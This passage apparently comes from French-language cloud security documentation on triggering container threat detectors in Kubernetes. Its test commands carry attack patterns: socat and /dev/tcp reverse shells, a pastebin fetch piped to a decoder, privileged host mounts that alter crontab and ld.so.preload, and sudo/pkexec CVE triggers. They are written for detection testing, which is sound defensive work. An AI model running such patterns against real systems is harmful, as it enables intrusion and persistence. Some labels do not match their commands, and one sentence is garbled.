tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -it \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash

Nœud ARM :

tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -it \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": {
   "containers": [{"name": "ktd-test-fileless-dev-shm", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "tty":true, "stdin":true}],
   "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash

Installer l'utilitaire socat
```
  apt update && apt install socat -y
```

Créer un écouteur à l'aide de socat

  (socat UNIX-LISTEN:/tmp/shell.sock STDOUT &)

Attendez que le listener s'établisse. Cela prend un peu moins de 10 secondes.

Associez-vous au socket Unix pour établir une connexion de shell inversé.

  socat UNIX-CONNECT:/tmp/shell.sock EXEC:/bin/bash,pty,stderr,setsid,sigint,sane

Une erreur peut s'afficher, mais ce n'est pas grave tant qu'une connexion est établie brièvement au préalable.

Cette procédure de test doit créer un résultat Execution: Socat Reverse Shell Detected que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Exécution : modification Cron suspecte (aperçu)

Pour déclencher une détection de modification Cron suspecte, modifiez le fichier /etc/crontab de l'hôte à partir d'un conteneur. Cet exemple déploie la dernière image Ubuntu 24.04, en installant le système de fichiers racine de l'hôte dans le conteneur. Il met ensuite à jour le fichier crontab.

Il s'agit d'un détecteur de surveillance des fichiers qui nécessite une version spécifique de GKE.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Exécutez une commande pour modifier le fichier /etc/crontab de l'hôte.

Nœud x86 :

tag="ktd-test-cron-mod-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/crontab"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'

Nœud ARM :

tag="ktd-test-cron-mod-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/crontab"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
   "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" }] }}'

Cette procédure de test déclenche un résultat de modification suspecte de cron que vous pouvez afficher dans Security Command Center et, si vous avez configuré Logging pour Container Threat Detection, dans Cloud Logging. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center au niveau de l'organisation.

Exécution : Objet partagé OpenSSL suspect chargé

Pour déclencher un résultat Execution: Suspicious OpenSSL Shared Object Loaded, exécutez la commande openssl engine avec un argument qui est un fichier se terminant par l'extension .so. Cet exemple utilise la dernière image Ubuntu 24.04. L'utilitaire /bin/ls est copié et renommé /tmp/openssl. Ce binaire renommé est ensuite exécuté avec les arguments de fichier engine et .so fictifs. L'exécution de openssl engine avec un fichier .so est signalée comme suspecte, car elle imite le comportement d'un objet partagé chargé d'exécuter du code malveillant.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Exécutez un fichier binaire compatible avec le réseau, tel que curl, avec une variable d'environnement de proxy HTTP non autorisée :

Nœud x86 :

tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/openssl; openssl engine /tmp/fakelib.so"

Nœud ARM :

tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/openssl; openssl engine /tmp/fakelib.so"

Cette procédure de test doit créer un résultat Execution: Suspicious OpenSSL Shared Object Loaded que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Exfiltration : lancer des outils de copie de fichiers à distance dans un conteneur

Pour déclencher un résultat Exfiltration: Launch Remote File Copy Tools In Container, exécutez un outil de copie de fichiers à distance courant dans un conteneur. Cet exemple utilise la dernière image Ubuntu 24.04. L'utilitaire /bin/ls est copié et renommé /tmp/rsync, puis exécuté pour récupérer un fichier à partir d'une source distante potentiellement malveillante. L'exécution d'un tel outil avec des arguments de récupération de fichiers à distance dans un conteneur est signalée comme suspecte, car elle peut indiquer une tentative de téléchargement et d'exécution de code malveillant ou d'exfiltration de données.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Exécutez un outil de copie de fichiers à distance, comme rsync :

Nœud x86 :

tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/rsync; /tmp/rsync"

Nœud ARM :

tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/rsync; /tmp/rsync"

Cette procédure de test doit créer un résultat Exfiltration: Launch Remote File Copy Tools In Container que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Impact : Détecter les lignes de commande malveillantes

Pour déclencher un résultat Impact: Detect Malicious Cmdlines (Preview), l'exécution d'une ligne de commande avec des arguments ou des modèles malveillants connus doit être observée dans un conteneur. Cet exemple utilise la dernière image Ubuntu 24.04. Cela implique de copier le binaire /bin/ls et de renommer cette copie ipfs. Le fichier binaire renommé est ensuite exécuté. Ce comportement est signalé comme suspect, car il peut indiquer une tentative d'exécution de code malveillant ou de contournement des contrôles de sécurité.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Exécutez un binaire tel que ipfs :

Nœud x86 :

tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/ipfs; /tmp/ipfs"

Nœud ARM :

tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/ipfs; /tmp/ipfs"

Cette procédure de test crée un résultat Impact: Detect Malicious Cmdlines que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Impact : supprimer des données du disque de manière groupée

Pour déclencher un résultat Impact: Remove Bulk Data From Disk, placez un fichier binaire capable de supprimer ou d'écraser des données dans votre conteneur, puis exécutez-le. Cet exemple utilise la dernière image Ubuntu 24.04. Cela implique de copier le binaire /bin/ls et de renommer cette copie shred (ou un utilitaire similaire conçu pour la suppression sécurisée de fichiers). L'exécutable renommé est ensuite exécuté. Cette action est signalée comme suspecte, car elle imite le comportement souvent observé lors de tentatives de suppression de grandes quantités de données d'un disque dans un environnement conteneurisé.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Introduisez un fichier binaire de suppression de fichier ou de données comme shred et exécutez-le :

Nœud x86 :

tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/shred; /tmp/shred"

Nœud ARM :

tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/shred; /tmp/shred"

Cette procédure de test doit créer un résultat Impact: Remove Bulk Data From Disk que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Impact : activité de minage de cryptomonnaie suspecte utilisant le protocole Stratum

Pour déclencher un résultat Impact: Suspicious crypto mining activity using the Stratum Protocol, un binaire doit être exécuté dans un conteneur avec des arguments qui ressemblent à ceux utilisés par les logiciels de minage de cryptomonnaie communiquant à l'aide du protocole Stratum. L'exemple utilise la dernière image Ubuntu 24.04. Il copie /bin/ls et renomme cette copie en binaire fictif (probablement pour simuler un mineur de crypto-monnaie). Ce binaire renommé est ensuite exécuté avec des arguments qui incluent stratum+tcp ou des indicateurs de protocole Stratum similaires. Cette activité est signalée comme suspecte, car elle imite les schémas de communication réseau des logiciels de minage de cryptomonnaies dans les environnements conteneurisés.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Introduisez un binaire utilitaire tel que curl et exécutez-le avec des arguments qui ressemblent à ceux utilisés par les logiciels de minage de cryptomonnaie communiquant à l'aide du protocole Stratum :

Nœud x86 :

tag="ktd-test-detect-crypto-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"

Nœud ARM :

tag="ktd-test-detect-crypto-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"

Cette procédure de test doit créer un résultat Impact: Suspicious crypto mining activity using the Stratum Protocol que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Vous pouvez également voir un résultat supplémentaire pour la commande bash que vous exécutez dans ce test. Ce comportement est normal. Vous pouvez ignorer le résultat supplémentaire.

Script malveillant exécuté

Pour déclencher un résultat de script malveillant exécuté, vous pouvez exécuter le script de la procédure suivante dans votre conteneur.

La procédure déploie la dernière image Ubuntu 24.04, copie un script qui semble malveillant, puis l'exécute. Pour déclencher une détection, un script doit sembler malveillant pour le détecteur.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Exécutez le script suivant dans un nouveau conteneur.

Ce script Bourne shell intégré provient d'un pot de miel. Toutefois, il a été modifié pour ne pas exécuter le fichier binaire malveillant. L'exécution du script n'entraînera donc aucune activité malveillante dans votre conteneur. Il est possible que le fichier binaire à l'URL référencée ait été supprimé. Toute tentative d'accès à l'URL entraînera une erreur 404. Ce comportement est normal. La tentative de télécharger, décoder et exécuter un fichier binaire à l'aide d'un script intégré est ce qui déclenche la détection.

Nœud x86 :

tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c \
      "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"

Nœud ARM :

tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c \
      "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"

Cette procédure de test crée un résultat de script malveillant exécuté que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré la journalisation pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

URL malveillante observée

Pour déclencher un résultat "URL malveillante observée", exécutez un fichier binaire et fournissez une URL malveillante comme argument.

L'exemple suivant déploie une image Ubuntu 24.04 et exécute /bin/curl pour accéder à un exemple d'URL de logiciel malveillant à partir du service Navigation sécurisée.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Exécutez curl et fournissez une URL malveillante comme argument :

Nœud x86 :

tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
url="https://testsafebrowsing.appspot.com/s/malware.html"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"

Nœud ARM :

tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
url="https://testsafebrowsing.appspot.com/s/malware.html"
kubectl run \
      --restart=Never \
      --rm=true -i \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
      {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
      "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
      "value": "arm64" } ]}}' \
      "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"

Cette procédure de test déclenche un résultat d'URL malveillante observée que vous pouvez afficher dans Security Command Center et, si vous avez configuré Logging pour Container Threat Detection, dans Cloud Logging. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center au niveau de l'organisation.

Persistance : Modifier ld.so.preload (bêta)

Pour déclencher la détection de modification ld.so.preload, modifiez le fichier /etc/ld.so.preload de l'hôte. Cet exemple déploie la dernière image Ubuntu 24.04, installe le système de fichiers racine de l'hôte dans le conteneur, puis met à jour /etc/ld.so.preload.

Il s'agit d'un détecteur de surveillance des fichiers qui nécessite une version spécifique de GKE.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Exécutez un fichier binaire qui modifie le fichier /etc/ld.so.preload de l'hôte.

Nœud x86 :

tag="ktd-test-ld-preload-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["/bin/touch", "/host/etc/ld.so.preload"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'

Nœud ARM :

tag="ktd-test-ld-preload-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["/bin/touch", "/host/etc/ld.so.preload"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
   "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" }] }}'

Cette procédure de test déclenche un résultat de modification ld.so.preload que vous pouvez afficher dans Security Command Center et, si vous avez configuré la journalisation pour Container Threat Detection, dans Cloud Logging. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center au niveau de l'organisation.

Élévation des privilèges : utilisation abusive de Sudo pour l'élévation des privilèges (CVE-2019-14287)

Pour déclencher un résultat Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287), exécutez le fichier binaire sudo avec le paramètre -u#-1. Cet exemple copie le binaire /bin/ls pour imiter le binaire sudo et l'exécute avec le paramètre spécifié.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Démarrez un fichier binaire avec une redirection /bin/echo vers le DNS public de Google :

Nœud x86 :

tag="ktd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
   "cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10"

Nœud ARM :

tag="ktd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
   "cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10"

Cette procédure de test crée un résultat Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287) que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center au niveau de l'organisation.

Élévation des privilèges : exécution sans fichier dans `/dev/shm`

Pour déclencher un résultat Privilege Escalation: Fileless Execution in /dev/shm, un processus doit être exécuté à partir du système de fichiers en mémoire /dev/shm. Cet exemple utilise la dernière image Ubuntu 24.04. L'utilitaire /bin/echo est copié dans /dev/shm/echo. Ce binaire renommé est ensuite exécuté. L'exécution d'un fichier sous /dev/shm est signalée comme suspecte, car elle imite le comportement d'un objet qui tente de s'exécuter en mémoire pour éviter les détections basées sur les fichiers.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Créez un conteneur privilégié et ouvrez bash pour exécuter des commandes :

Nœud x86 :

tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -it \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"spec": {"containers": [{"name": "ktd-test-fileless-dev-shm", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "tty":true, "stdin":true, "securityContext": {"privileged": true}}]}}' \
   "$tag" -- bash

Nœud ARM :

tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -it \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": {
   "containers": [{"name": "ktd-test-fileless-dev-shm", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "tty":true, "stdin":true, "securityContext": {"privileged": true}}],
   "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash

Copiez echo dans /dev/shm et rendez-le exécutable à l'aide de chmod.
```
  cp /bin/echo /dev/shm
  chmod 777 /dev/shm/echo
```
Remontez /dev/shm pour activer l'exécution.
```
  mount -o remount,exec /dev/shm
```
Exécuter echo à partir de /dev/shm
```
  /dev/shm/echo "Hello from /dev/shm"
```

Cette procédure de test doit créer un résultat Privilege Escalation: Fileless Execution in /dev/shm que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Élévation des privilèges : faille liée à l'élévation des privilèges locaux de Polkit (CVE-2021-4034)

Pour déclencher un résultat Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034), exécutez un binaire pkexec avec la variable d'environnement GCONV_PATH définie en tant qu'utilisateur non racine. Cet exemple copie le binaire /bin/ls pour imiter le binaire pkexec et l'exécute avec le paramètre spécifié en tant qu'ID utilisateur 1000.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Démarrez un fichier binaire avec une redirection /bin/echo vers le DNS public de Google :

Nœud x86 :

tag="ktd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": {
   "securityContext": { "runAsUser": 1000 }}}' \
   "$tag" -- bash -c \
   "cp /bin/ls /tmp/pkexec; GCONV_PATH=junk /tmp/pkexec; sleep 10"

Nœud ARM :

tag="ktd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { 
   "securityContext": { "runAsUser": 1000 }, "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
   "cp /bin/ls /tmp/pkexec; GCONV_PATH=junk /tmp/pkexec; sleep 10"

Cette procédure de test crée un résultat Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034) que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center au niveau de l'organisation.

Élévation des privilèges : élévation potentielle des privilèges de Sudo (CVE-2021-3156)

Pour déclencher une découverte Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156), exécutez le binaire sudo en tant qu'utilisateur non root avec le paramètre -s et un paramètre se terminant par \`. This example copies the/bin/lsbinary to imitate thesudo` binaire et exécutez-le avec les paramètres spécifiés.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Démarrez un fichier binaire avec une redirection /bin/echo vers le DNS public de Google :

Nœud x86 :

tag="ktd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": {
   "securityContext": { "runAsUser": 1000 }}}' \
   "$tag" -- bash -c \
   'cp /bin/ls /tmp/sudo; /tmp/sudo -s "123\\"; sleep 10'

Nœud ARM :

tag="ktd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { 
   "securityContext": { "runAsUser": 1000 },
   "nodeSelector": { "kubernetes.io/arch":"arm64" }, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
   'cp /bin/ls /tmp/sudo; /tmp/sudo -s "123\\"; sleep 10'

Cette procédure de test crée un résultat Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156) que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center au niveau de l'organisation.

Interface système inversée

Pour déclencher un résultat d'interface système inversée, démarrez un fichier binaire avec une redirection stdin vers un socket connecté TCP. Cet exemple copie /bin/echo vers /tmp/sh, puis démarre /tmp/sh avec une redirection vers le DNS public de Google 8.8.8.8 sur le port DNS. Aucun élément n'est imprimé lorsque vous exécutez cet exemple. Pour empêcher toute injection de code externe via une attaque MTIM ("man in the middle"), cet exemple n'utilise pas le binaire /bin/sh.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Démarrez un fichier binaire avec une redirection /bin/echo vers le DNS public de Google :

Nœud x86 :

tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"

Nœud ARM :

tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"

